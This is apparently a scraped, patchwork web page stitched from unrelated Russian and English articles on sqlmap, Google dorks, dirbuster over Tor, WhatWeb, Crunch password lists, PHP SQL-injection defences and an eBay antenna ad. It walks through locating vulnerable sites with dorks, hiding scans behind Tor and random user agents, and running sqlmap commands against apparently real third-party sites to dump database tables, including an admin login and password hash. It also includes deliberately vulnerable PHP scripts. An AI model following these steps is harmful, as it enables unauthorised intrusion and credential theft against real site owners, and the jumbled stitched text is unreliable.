How to install and run sqlmap on windows
Содержание:
- Поиск уязвимых скриптов. Google dorks.
- Какие уязвимости может находить sqlmap
- Поиск админки сайта: CMS, интуиция, или dirbuster?
- 1. Экранирование спец символов
- Possible problems while sqlmap scanning
- Установка SQLMAP-Web-GUI на Kali Linux
- Как с помощью WhatWeb узнать версию движка сайта
- aquatone
- Lab 1 : Banner Grabbing
- Как скрыть движок сайта и его версию
- 2. Фильтрация данных и приведение к ожидаемому типу
- Опции программы WhatWeb
- URI injection point
- Alfa 9dBi WiFi Booster SMA всенаправленная с высоким коэффициентом усиления винтообразная поворотная антенна с магнитной основой
- Что такое Crunch
- Получение структуры баз данных сайтов. SQLMAP.
- 4. Не выводите сообщения об ошибках
Поиск уязвимых скриптов. Google dorks.
Очередь за гугл-дорками. Для тех, кто не в курсе — некоторыми запросами в гугл, можно облегчить поиск уязвимого ресурса. Это называется “дорк”. Для примера, возьмём запрос:
А тебе, читатель, я оставлю ссылку на 6000+ актуальных дорков. Правда, там не только sql-инъекции, но и многое другое — думаю, разберётесь. 😉
Открываем любезно выданные гуглом линки потенциально уязвимых сайтов, и в адресной строке браузера, после цифр, ставим одинарную ковычку:
И ищем сайт, скрипт на котором выдаст ошибку подобного вида:
Конечно, можно обойтись и без этого, sqlmap анализирует далеко не только подобные уязвимости в скриптах, но этот шаг многократно увеличивает наши шансы на успех.
Какие уязвимости может находить sqlmap
Есть пять основных классов SQL-инъекций, и все их поддерживает SQLMap:
- UNION query SQL injection. Классический вариант внедрения SQL-кода, когда в уязвимый параметр передается выражение, начинающееся с «UNION ALL SELECT». Эта техника работает, когда веб-приложения напрямую возвращают результат вывода команды SELECT на страницу: с использованием цикла for или похожим способом, так что каждая запись полученной из БД выборки последовательно выводится на страницу. SQLMap может также эксплуатировать ситуацию, когда возвращается только первая запись из выборки (Partial UNION query SQL injection).
- Error-based SQL injection. В случае этой атаки сканер заменяет или добавляет в уязвимый параметр синтаксически неправильное выражение, после чего парсит HTTP-ответ (заголовки и тело) в поиске ошибок DBMS, в которых содержалась бы заранее известная инъецированная последовательность символов и где-то «рядом» вывод на интересующий нас подзапрос. Эта техника работает только тогда, когда веб-приложение по каким-то причинам (чаще всего в целях отладки) раскрывает ошибки DBMS.
- Stacked queries SQL injection. Сканер проверяет, поддерживает ли веб-приложение последовательные запросы, и, если они выполняются, добавляет в уязвимый параметр HTTP-запроса точку с запятой (;) и следом внедряемый SQL-запрос. Этот прием в основном используется для внедрения SQL-команд, отличных от SELECT, например для манипуляции данными (с помощью INSERT или DELETE). Примечательно, что техника потенциально может привести к возможности чтения/записи из файловой системы, а также выполнению команд в ОС. Правда, в зависимости от используемой в качестве бэк-энда системы управления базами данных, а также пользовательских привилегий.
- Boolean-based blind SQL injection. Реализация так называемой слепой инъекции: данные из БД в «чистом» виде уязвимым веб-приложением нигде не возвращаются. Прием также называется дедуктивным. SQLMap добавляет в уязвимый параметр HTTP-запроса синтаксически правильно составленное выражение, содержащее подзапрос SELECT (или любую другую команду для получения выборки из базы данных). Для каждого полученного HTTP-ответа выполняется сравнение headers/body страницы с ответом на изначальный запрос — таким образом, утилита может символ за символом определить вывод внедренного SQL-выражения. В качестве альтернативы пользователь может предоставить строку или регулярное выражение для определения «true»-страниц (отсюда и название атаки). Алгоритм бинарного поиска, реализованный в SQLMap для выполнения этой техники, способен извлечь каждый символ вывода максимум семью HTTP-запросами. В том случае, когда вывод состоит не только из обычных символов, сканер подстраивает алгоритм для работы с более широким диапазоном символов (например для unicode’а).
- Time-based blind SQL injection. Полностью слепая инъекция. Точно так же как и в предыдущем случае, сканер «играет» с уязвимым параметром. Но в этом случае добавляет подзапрос, который приводит к паузе работы DBMS на определенное количество секунд (например, с помощью команд SLEEP() или BENCHMARK()). Используя эту особенность, сканер может посимвольно извлечь данные из БД, сравнивая время ответа на оригинальный запрос и на запрос с внедренным кодом. Здесь также используется алгоритм двоичного поиска. Кроме того, применяется специальный метод для верификации данных, чтобы уменьшить вероятность неправильного извлечения символа из-за нестабильного соединения.
Несмотря на то что сканер умеет автоматически эксплуатировать найденные уязвимости, нужно детально представлять себе каждую из используемых техник
Важно также понимать, что для разных DBMS реализации атаки зачастую сильно отличаются. Все эти случаи умеет обрабатывать SQLMap и на данный момент поддерживает MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.
Поиск админки сайта: CMS, интуиция, или dirbuster?
Зачастую, поиск админки сайта создаёт проблему. Пока выполняются запросы от sqlmap, можно заняться этим.
В первую очередь, мы идём на 2ip.ru/cms, вводим имя сайта, и ожидаем завершения сканирования на популярные cms.
Если сканером обнаруживается cms, то гуглим расположение админки в них, и пробуем зайти по дефолтным адресам.
Но иногда хитрые админы либо меняют дефолтный адрес, либо используют собственную cms, как и произошло в моём случае.
Если так оно и есть, то попробуем посмотреть файл robots.txt, иногда админку можно выловить тут:
Если файл отсутствует, или там ничего нужного нам нет, то пробуем стандартные варианты вручную.
И тут успех, на втором же линке я получил форму авторизации:
Но этот способ может и не сработать и, вероятнее всего, не сработает. Для таких случаев есть мощное оружие — durbuster, который перебором по словарю выявит всевозможные скрипты сайта.
Наша первая задача — пропустить трафик от durbuster’a через tor. Для этих целей нам понадобится запустить privoxy.
Предварительно, настроим конфиг privoxy, что бы весь трафик пропускался через тор:
Добавляем строку в конец конфига
Внимание, точка в конце обязательна!. Сохраняем изменения, закрываем файл, и запускаем, собственно, privoxy:
Сохраняем изменения, закрываем файл, и запускаем, собственно, privoxy:
Теперь открываем dirbuster — либо через терминал, либо выбираем его из списка Приложения > 03 — Web Application Analysis > Web Crawlers & Directory Bruteforce > dirbuster.
В самой программе, переходим в Options > Advanced Options > Http Options, и приводим настройки в соответствии со скриншотом:
Проставляем галку “Run Through a Proxy”, вписываем в хост localhost, и указываем порт 8118. По желанию, меняем user-agent программы, например, на “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0”
Нажимаем ок, и переходим к самой программе. Необходимо выбрать словарик для брутфорса. По умолчанию, в комплекте с программой в kali есть словари. Расположены они по адресу /usr/share/dirbuster/wordlists. Лично я предпочитаю использовать маленький словарик directory-list-2.3-small.txt.
По желанию, можно изменить количество потоков “Number Of Threads”, но в случае с соединением по tor’у, это бесполезно.
1. Экранирование спец символов
Для mysqli функция экранирования называется real_escape_string. Т.е. «более правильней» наш скрипт должен бы выглядеть так:
<?php $mysqli = new mysqli("localhost", "root", "", "db_library"); if (mysqli_connect_errno()) { printf("Не удалось подключиться: %sn", mysqli_connect_error()); exit(); } else { $mysqli->query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); } $name = filter_input(INPUT_GET, 't'); $name = $mysqli->real_escape_string($name); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = '$name'")) { while ($obj = $result->fetch_object()) { echo "<p><b>Ваше имя: </b> $obj->name</p> <p><b>Ваш статус:</b> $obj->status</p> <p><b>Доступные для Вас книги:</b> $obj->books</p><hr />"; } } else { printf("Ошибка: %sn", $mysqli->error); } $mysqli->close(); ?>
Всего одна новая строка избавила от всех проблем:
Помните, что экранировать (как и фильтровать) нужно абсолютно все данные, приходящие «с той стороны», т.е. от пользователя. Даже куки, даже те, которые, казалось бы, жёстко прописаны: например, в выпадающем списке три опции – и выбранная опция отправляется на сервер. Казалось, как предопределённая величина может помочь в SQL-инъекциях? Всё очень просто, современные браузеры, даже без специальных плагинов, позволяют редактировать HTML-код на лету. Т.е. вы ожидаете одно из трёх значений, а получаете хитро сконструированный SQL-запрос.
Ещё одна распространённая ошибка – начинающие программисты думают, что есть страница «для всех» – это те, которые отвечают за работу сайта. А есть страницы только для веб-мастера: админка, технические скрипты и т.п. И эти программисты ленятся (или не считают нужным) экранировать/фильтровать данные. Это грубая ошибка – нужно экранировать и фильтровать везде!
Possible problems while sqlmap scanning
You may receive the following error:
connection timed out to the target URL. sqlmap is going to retry the request(s) if the problem persists please check that the provided target URL is valid. In case that it is, you can try to rerun with the switch '--random-agent' turned on and/or proxy switches ('--ignore-proxy', '--proxy',...)
It means that the website does not want to ‘talk’ with sqlmap. As an option, we are offered to use —random-agent. If in the browser you can observe the site, and sqlmap writes about the impossibility to connect, then the site ignores requests, being guided by the user agent. The —random-agent option changes the standard value of sqlmap to arbitrary:
sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent
Another reason for this error may be the blocking of your IP by the website — then you need to use a proxy. If you are already using a proxy and this error occurs, this may mean that the proxy has a connection problem and should be tried without it.
Установка SQLMAP-Web-GUI на Kali Linux
Автор нигде этого не говорит, но для сервера нужна реализация JSON для PHP. Ставим этот пакет:
apt-get install php-services-json
Следующая большая команда запустит Apache и MySQL, скачает необходимые файлы и откроет файл для редактирования.
service apache2 start && service mysql start && svn checkout /var/www/sqlmap && leafpad /var/www/sqlmap/inc/config.php
(Внимание, эта команда затирает конфиг, если вы уже всё настроили, то сервер запускайте так: service apache2 start && service mysql start)
В открывшемся файле всё стираем, а записываем туда следующее:
<?php // App Version Tracker define('GUI_VERSION', '0.01b'); // API URL to Connect to, default: http://127.0.0.1:8775/ define('API_URL', 'http://127.0.0.1:8775/'); // Path to where the core SQLMAP python files can be found // i.e. sqlmap.py, sqlmapapi.py, extra/, tamper/, etc define('SQLMAP_BIN_PATH', '/usr/bin/sqlmap'); // Path to SQLMAP's Default Output Directory define('SQLMAP_OUTPUT_PATH', '/root/.sqlmap/'); // Define where to write our local scan file archives to define('TMP_PATH', '/tmp/sqlmap/'); // Path to the local Metasploit directory // May be used to generate shellcode for advanced exploit functionalities // May also use for building of reverse shell payloads for file writer, tbd... define('MSF_PATH', '/opt/metasploit/'); // Admin Username & Password // *For future admin panel to flush and kill scan tasks.... define('ADMIN_USER', 'admin'); define('ADMIN_PASS', 'admin'); ?>
По какому-ту наитию, авторы Kali Linux забыли положить файл sqlmapapi.py (хотя в исходных кодах он есть). Исправляем этот просчёт:
wget https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/sqlmapapi.py -O /usr/share/sqlmap/sqlmapapi.py
Запускаем сервер API sqlmap:
cd /usr/share/sqlmap/ && python /usr/share/sqlmap/sqlmapapi.py -s
После этого в браузере нужно перейти по адресу http://127.0.0.1/sqlmap/
Можно набрать в консоли:
iceweasel http://127.0.0.1/sqlmap/index.php
Главное окно выглядит симпатично и даже стильно:
После очень долгих мучений мне удалось заставить работать эту программу:
(первые результаты сканирования: сайт уязвим, хотя я это знал и так).
Как с помощью WhatWeb узнать версию движка сайта
Информация о движке и его версии очень важна при тестировании веб-приложений на проникновение. В первую очередь, эта информация будет использована для поиска эксплойтов и известных уязвимостей именно для этого движка этой версии. Это на порядок облегчает взломщику задачу. Именно поэтому многие популярные движки перестали публиковать свою версию рядом с надписью Powered by. Тем не менее, скрыть используемый движок и его версию очень непросто. Есть сканеры, которые делают это автоматически и в пакетном режиме.
Чтобы узнать движок сайта и его версию используется программа WhatWeb.
Например, есть некий форум, на нём даже нет надписи Powered by (скорее всего, это запрещено лицензией, но некоторые веб-мастера готовы идти и на нарушение лицензии — лишь бы скрыть движок и его версию). Чтобы узнать информацию о нём я набираю:
whatweb http://www1.hut.ru/forum/
Где whatweb — имя программы,
а http://www1.hut.ru/forum/ – адрес интересующего нас сайта.
Информации много, в том числе и требуемая нам:
PoweredBy phpBB
Т.е. форум работает на движке phpBB второй версии.
Кроме этого, мы узнаём версию PHP, веб-сервера, IP адрес и страну расположения, используемые веб-технологии и даже информацию о логине в Google AdSense. Согласитесь, начало хорошее.
Возьмём другой пример:
whatweb codeby.net
Опять, информации много и она достоверна.
В справке программы WhatWeb упоминается про агрессивный режим — для определения точной версии WordPress, запускается он так:
whatweb -a 3 codeby.net
Можно проверять по нескольку сайтов за один раз:
whatweb codeby.net zalinux.ru mi-al.ru
Не смотря на свою кажущуюся простоту, справка WhatWeb довольно обширна.
Программу можно запускать не только в отношении сайта, но и в отношении подсетей (синтаксис указания диапазонов сетей такой же как и у Nmap):
whatweb 185.26.122.0/24
aquatone
aquatone
Плюсы:
- На выходе создает группу файлов и папок, которые удобно использовать при дальнейшей работе с другими инструментами:
* HTML-отчет с собранными снимками экрана и сгруппированными по сходству заголовками ответов;
* Файл со всеми URL, на которых были найдены веб-сайты;
* Файл со статистикой и данными страницы;
* Папка с файлами, содержащими заголовки ответа от найденных целей;
* Папка с файлами, содержащими тело ответа от найденных целей;
* Скриншоты найденных веб-сайтов; - Поддерживает работу с XML-отчетами от Nmap и Masscan;
- Использует headless Chrome/Chromium для рендера скриншотов.
Lab 1 : Banner Grabbing
In this lab, we are simply grabbing the banners from the remote machine. Details like backend DBMS, Web application technology, Server OS, Web server type & version etc are retrieved from this operation. For this we need to specify in the exact url or a file which contains the request to the url. In this tutorial, we are performing the operation with a file containing the request. We can take this request with the help of burpsuite. We can turn ON the intercept & forward the request from our browser to burpsuite. Seeing the request we can copy the request & paste it in a file. Refer to tutorial on burpsuite here to learn how to start with burpsuite.
Step 1 : Take Request
Open the login page of the Mutillidae(or which ever target you have).
Filling the form
Open Burpsuite & turn ON intercepting proxy. Also configure browser to send connections to burpsuite as a proxy. Refer here to see how to do this.
Burpsuite intercepting the request
Come back to browser & give some data in the text boxes & submit.
See request intercepted at burpsuite. Copy the entire request to a new file. Here I am using “mut-sqlmap-bypassauth-post.req”. Then save the file.
Copying the Request
Note: After turning ON Intercepting in Burp, select the POST request only. The request should be the one which you would do when performing a browser based manual SQL Injection.
Saving the file
Edit the file in any text editor to make the username & password blank. Give 2 single quotes.
Editing request file2
Step 2 : Run SQLMAP with the file
Command: sqlmap -r mut-sqlmap-bypassauth-post.req<replace with yours> --threads=10<optional> -b
Executing sqlmap
Sqlmap asks couple of questions during the execution. You can answer yes (‘y’) for all of them but do read them carefully.
Sqlmap prompts
You can get to see various messages & the actual operation done by sqlmap and finally the results are shown.
Operations displayedResults
Here the webserver, backend database web technology & the system OS are displayed. All this information is stored in a local directory also. You can try reading them also.
References
Mutillidae Download Link: http://sourceforge.net/projects/mutillidae/
OWASP BWA Download Link: http://sourceforge.net/projects/owaspbwa/?source=directory
Как скрыть движок сайта и его версию
Скрыть вид используемого движка очень непросто. Зачастую не нужно быть специалистом и не нужно иметь никаких программ, чтобы по первому взгляду на сайт предположить используемый движок, иногда достаточно увидеть адрес одной страницы, чтобы предположить, какой движок сайт использует. Вот типичный пример: на «морде» сайта вырезаны все упоминания об используемом движке, но взглянув на исходный код HTML-страницы, догадайтесь с трёх раз, какой движок используется:
Даже если полностью изменено оформление, убраны копирайты и прочее, то по структуре файлов сайта и по некоторым другим признакам довольно легко определить популярные движки.
Продуктивнее не пытаться спрятать эту информацию, а вовремя обновлять программное обеспечение и плагины.
2. Фильтрация данных и приведение к ожидаемому типу
Вы обратили внимание, что вместо $_GET я использую filter_input(INPUT_GET, ‘t’)? Я это делаю не просто так.
Вместе с filter_input я могу использовать фильтры. Например очищающие фильтры.
Если мы ожидаем получить только число, то использовать примерно так filter_input(INPUT_GET, ‘t’, FILTER_SANITIZE_NUMBER_INT)
Если мы хотим, чтобы были отброшены все тэги и все специальные символы, то мы можем использовать filter_input(INPUT_POST, ‘t’, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW) в результате чего удаляются все тэги, удаляются и кодируются специальные символы.
Давайте возьмём наш самый первый уязвимый скрипт и попробуем в нём фильтровать данные таким образом:
<?php $mysqli = new mysqli("localhost", "root", "", "db_library"); if (mysqli_connect_errno()) { printf("Не удалось подключиться: %sn", mysqli_connect_error()); exit(); } else { $mysqli->query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); } $name = filter_input(INPUT_POST, 't', FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = '$name'")) { while ($obj = $result->fetch_object()) { echo "<p><b>Ваше имя: </b> $obj->name</p> <p><b>Ваш статус:</b> $obj->status</p> <p><b>Доступные для Вас книги:</b> $obj->books</p><hr />"; } } else { printf("Ошибка: %sn", $mysqli->error); } $mysqli->close(); ?>
Результат полностью аналогичен предыдущему – попытка SQLMAP с треском провалилась.
Для строки можно сделать так
filter_input(INPUT_GET, 't', FILTER_SANITIZE_ENCODED, FILTER_FLAG_STRIP_HIGH)
(кодирует в формат URL, удаляет специальные символы).
Или так filter_input(INPUT_GET, 't', FILTER_SANITIZE_MAGIC_QUOTES)
(просто экранируются одиночная кавычка (‘), двойная кавычка («), обратный слэш () и NUL (NULL байт)).
Опции программы WhatWeb
Рассмотрим самые интересные опции.
–input-file=ФАЙЛ, -i Идентифицировать URL, которые найдены в ФАЙЛе, например -i /dev/stdin
Думаю, вы уже догадались что эта опция в таком виде позволяет передавать в WhatWeb адреса сайтов по трубе:
echo 'codeby.net' | whatweb -i /dev/stdin
Это мегополезно при написании скриптов.
–aggression, -a=УРОВЕНЬ
УРОВЕНЬ задаётся числами 1, 3 или 4.
1 — сканировать незаметно, 3 — сканировать агрессивно, 4 — сканировать тяжело, будут отправлены запросы от всех плагинов.
–user-agent, -U=АГЕНТ По умолчанию пользовательский агент — WhatWeb/0.4.8-dev. Этой опцией его можно заменить
–header, -H Добавить заголовок HTTP. например «Foo:Bar». Если задан здесь, то заголовок по умолчанию будет заменён. Если задать пустую величину, например, «User-Agent:», то заголовок будет удалён.
–follow-redirect=КОГДА Контролирует когда следовать редиректом. КОГДА может иметь значения `never’, `http-only’, `meta-only’, `same-site’, `same-domain’ или `always’. По умолчанию: always
–max-redirects=ЧИСЛО Максимальное ЧИСЛО редиректов. По умолчанию: 10
В WhatWeb поддерживается базовая авторизация:
–user, -u=<user:password>
Добавьте сессионные кукиз –header, например, –header «Cookie: SESSID=1a2b3c;»
Можно использовать прокси с WhatWeb:
–proxy <hostname> Задать хост и порт прокси. Порт по умолчанию: 8080
–proxy-user <username:password> Задать пользователя и пароль прокси
WhatWeb поддерживает разнообразные способы сохранения полученных данных, а также позволяет менять настройки производительности/стабильности: число одновременных потоков, таймауты, время перерывов и т. д.
URI injection point
Sometimes the injection point is inside the URI itself. For example, if we go to http://youfio.ru/name/АГАФЬЯ.html web site, we will see the web page:
And if in the URI we add a quote to make it so http://youfio.ru/name/АГАФЬЯ’.html, then we will see the familiar:
Query failed : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''АГАФЬЯ'') and message.ST<>0 ORDER BY message.DT DESC limit 0,20' at line 4
sqlmap does not perform any automatic test against URI paths, unless manually pointed to. You have to specify these injection points in the command line by appending an asterisk (*) (Note: Havij style %INJECT HERE% is also supported) after each URI point that you want sqlmap to test for and exploit a SQL injection.
This is particularly useful when, for instance, Apache web server’s mod_rewrite module is in use or other similar technologies.
An example of valid command line would be:
sqlmap -u "http://targeturl/param1/value1*/param2/value2/"
Let us return to our target web site. To test that site the command should look like this:
sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html"
The program says:
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q]
That is in the ‘-u’ option, a custom injection marker (‘*’) was found. Whether we want to continue — we agree, because there is no mistake.
Again the program asks:
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
Choose C, i.e. continue.
The program says:
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
Agree.
Again the question:
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
Select an option up to you.
There is a SQL-injection vulnerability, about it speak lines:
heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'MySQL') heuristic (XSS) test shows that URI parameter '#1*' might be vulnerable to cross-site scripting (XSS) attacks
By the way, if you did not know, now sqlmap also checks on XSS.
Details about the vulnerability:
URI parameter '#1*' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
And further:
URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
Next, as with normal SQL injections, when the GET or POST parameter is vulnerable, we get a list of databases:
sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" --dbs
The server has the following databases:
available databases : information_schema snicke_youfioru
We get the tables in the ‘snicke_youfioru’ database:
sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" -D 'snicke_youfioru' --tables
The list of tables:
We get the contents of the ‘message’ table:
sqlmap -u "http://youfio.ru/name/АГАФЬЯ*.html" -D 'snicke_youfioru' -T 'message' --dump
Alfa 9dBi WiFi Booster SMA всенаправленная с высоким коэффициентом усиления винтообразная поворотная антенна с магнитной основой
- Эта антенна — оригинальный бренд Alfa — самое надёжное имя, когда дело касается сети
- Подходит для всех роутеров, точек доступа, VOIP устройств и PCI карт с разъёмом RP-SMA
- Не требуется прицеливание — всенаправленная с усилением +9 dB
- Заменяет стандартные заводские антенны и повышает диапазон маршрутизатора до 4 раз
- Соединение «папа» RP-SMA 90 градусов соединения рядом с базовой длинной: 14.75-дюймов (приблизитильное)
- WUS036H, WUS036H1W, APA05, WUS036NH, WUS036NEH, WUS048NH, WUS036EW, WUS051NH
<a target=”_self” href=”http://rover.ebay.com/rover/1/711-53200-19255-0/1?icep_ff3=9&#038;pub=5575132165&#038;toolid=10001&#038;campid=5337725521&#038;customid=&#038;icep_uq=Alfa+9dBi+WiFi+Booster+SMA&#038;icep_sellerId=&#038;icep_ex_kw=&#038;icep_sortBy=12&#038;icep_catId=&#038;icep_minPrice=&#038;icep_maxPrice=&#038;ipn=psmain&#038;icep_vectorid=229466&#038;kwid=902099&#038;mtid=824&#038;kw=lg”>Купить Alfa 9dBi WiFi Booster SMA на eBay</a><img style=”text-decoration:none;border:0;padding:0;margin:0;” src=”http://rover.ebay.com/roverimp/1/711-53200-19255-0/1?ff3=9&#038;pub=5575132165&#038;toolid=10001&#038;campid=5337725521&#038;customid=&#038;uq=Alfa+9dBi+WiFi+Booster+SMA&#038;mpt=”>
Что такое Crunch
Crunch – генератор словарей паролей, в которых можно определить стандартную или заданную кодировку. Crunch может произвести все возможные комбинации и перестановки.
Особенности:
- crunch генерирует списки слов (WordList) как методом комбинации, так и методом перестановки
- он может разбить вывод по количеству строк или размеру файла
- поддерживается возобновление процесса после остановки
- образец (паттерн) поддерживает числа и символы
- образец поддерживает по отдельности символы верхнего и нижнего регистра
- работая с несколькими файлами, выводит отчёт о статусе
- новая опция -l для буквальной поддержки, @,% ^
- новая опция -d для ограничения дублирования символов, смотрите man-файл для деталей
- поддержка unicode
В методах взламывания пароля, WordList (список слов) – один из самых важных файлов. В этом списке созданы все возможные комбинации пароля.
Методы взламывания пароля бывают:
1. Dictionary attack
Перебор по словарю. Словари содержат наиболее часто используемые пароли. Плюсами данной атаки является повышение шанса подобрать пароль при значительной экономии времени. Минус — не даёт 100% уверенности в подборе пароля.
2. Brute Force Attack
Плюс — если перебрать все возможные комбинации, то можно говорить 100% уверенности о взломе пароля. Минус — необходимость большого количества ресурсов (вычислительных мощностей и времени).
3. Hybrid Attack
Работа ведётся по словарю, но добавляются некоторые числа и символы к словам.
4. Syllable Attack
Это – комбинация brute force attack и dictionary attack.
5. Rule-Based Attack
Нападение, основанное на правилах. Используется, когда нападавший получает некоторую информацию о пароле.
Получение структуры баз данных сайтов. SQLMAP.
Переходим непосредственно к процессу эксплуатации инъекции на обнаруженном нами сайте. В работе с sqlmap есть достаточно много различных ньансов, и разберём мы базовые. Открываем терминал
Внимание, у вас должен быть активен сервис тора. Либо во втором терминале, либо через запуск приложения
К сожалению, medium преобразует двойные дефисы, поэтому сегодня без копипаста.
где -u задаёт целевой адрес (вводится обязательно с протоколом http/https);
— dbs параметр для получения имён баз данных, найденных в случае успешной эксплуатации;
— tor запустит соединение через тор, — check-tor отобразит успешность подключения к сети тор;
— random-agent позволит утилите использовать случайный http-заголовок для передачи серверу, что не даст идентифицировать sqlmap;
ключ -o задействует оптимизацию процесса, что наверняка пригодится во многих случаях — например, при слепой инъекции.
Ожидаем результата:
Sqlmap отдал нам две таблицы на выбор. В базе information_schema нет ничего интересного, это стандартная база mysql, поэтому мы перейдём к анализу “z108098_main”:
Тут мы исключили параметр — dbs, и вместо него используем — tables. Так же, добавился новый ключ -D, который задаёт имя сканируемой базы. Этот запрос выдаст нам все таблицы базы “z108098_main”. В итоге мы получаем:
И сразу же мы наблюдаем таблицу “_admins”. Очевидно, что нам необходимо получить её. Получаем названия столбцов базы:
Добавился ключ -T, который задаёт имя сканируемой таблицы. Вместо параметра — tables, теперь используется параметр — columns. Результат не заставил себя долго ждать, хоть инъекция и была слепой в моём случае — в этом мне помог ключ -o, который использовал 10 потоков для перебора вариаций:
Теперь читаем данные из таблицы, и сохраняем её на свой жёсткий диск:
Параметр — columns мы заменили на — dump, который выдаст все строки таблицы, а так же сохранит оную на наш жёсткий диск. В итоге, получаем заветный логин и хеш пароля, для админки сайта:
Полученный хеш вы можете просто загуглить, в большинстве случаев он уже расшифрован, и выдастся первой же строкой. Если же это не сработает, придётся делать брутфорс хеша, но это уже отдельная тема, которую разбирать в рамках этой статьи мы не станем.
4. Не выводите сообщения об ошибках
Ошибки могут появляться в процессе запроса к базе данных, а также уже на следующих этапах — в процессе обработки полученных значений. Например, был возвращён пустой результат, а скрипт без проверки, сразу пытается его обработать, то появится ошибка.
Если ваши скрипты продолжают оставаться уязвимыми, то отсутствие сообщений об ошибках даст возможность использовать только слепую SQL-инъекцию. Слепая инъекция — это тоже плохо, но это немного усложнит нападающему его задачу.
Если SQL-инжекта нет, а сообщения об ошибках выводятся, то это может дать информацию о файлах, о структуре скриптов. Лучше всего, проверяйте и, если данные после очистки отсутствуют или после запроса базы данных ничего не получено, то отображайте главную страницу.
Не нужно показывать оскорбительных надписей вроде «F*ck you, hacker!», это может обидеть некоторых тестеров. И вместо обычной процедуры «попробовал-не нашёл-переключился на следующий», тестер может взяться за ваш сайт серьёзно.
Рассмотрим такой вариант скрипта:
<?php $mysqli = new mysqli("localhost", "root", "", "db_library"); if (mysqli_connect_errno()) { printf("Не удалось подключиться: %sn", mysqli_connect_error()); exit(); } else { $mysqli->query("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); } $name = filter_input(INPUT_GET, 't'); if ($result = $mysqli->query("SELECT * FROM `members` WHERE name = $name")) { while ($obj = $result->fetch_object()) { echo "<p><b>Ваше имя: </b> $obj->name</p> <p><b>Ваш статус:</b> $obj->status</p> <p><b>Доступные для Вас книги:</b> $obj->books</p><hr />"; } } else { // printf("Ошибка: %sn", $mysqli->error); } $mysqli->close(); ?>
Т.е. ничего не фильтруется и даже не поставлены кавычки вокруг $name. Результат следующий:
Т.е. в первый момент sqlmap назвала параметр не способным к инъекциям, но очень скоро спохватилась:
GET parameter 't' seems to be 'MySQL >= 5.0 boolean-based blind - Parameter replace' injectable
Т.е. параметр уязвим к слепой инъекции.